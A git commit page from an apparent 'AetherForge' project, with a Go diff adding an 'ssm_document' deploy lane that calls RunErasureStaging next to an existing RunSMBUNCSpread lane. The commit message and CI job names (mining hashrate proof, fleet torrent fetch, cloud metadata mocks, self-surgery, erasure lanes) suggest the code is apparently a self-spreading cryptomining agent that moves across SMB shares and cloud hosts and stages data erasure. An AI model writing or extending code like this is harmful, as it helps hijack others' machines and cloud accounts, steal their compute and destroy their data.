Extend agent tests for cloud fleet features and erasure lanes.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Cover fleet torrent DHT fetch, cloud map/venue/meta IMDS mocks, S3 shard fetch order, zero-server policy polling, self-surgery reorder, contingency skip paths, epidemiology fix guards, and ssm_document deploy lane.
This commit is contained in:
AetherForge
2026-06-07 11:16:21 -07:00
parent bcd25b53a6
commit 483eafa9dd
12 changed files with 339 additions and 5 deletions

View File

@@ -240,6 +240,14 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
}
msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max})
return msg, nil
case "ssm_document":
if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
return "", fmt.Errorf("join lane ssm_document requires erasure_plan")
}
if !config.ErasureLanesEnabled(cfg) {
return "", fmt.Errorf("join lane ssm_document requires erasure_lanes_enabled")
}
return RunErasureStaging(cfg, *plan.ErasurePlan)
default:
return "", fmt.Errorf("unsupported join lane %q", lane)
}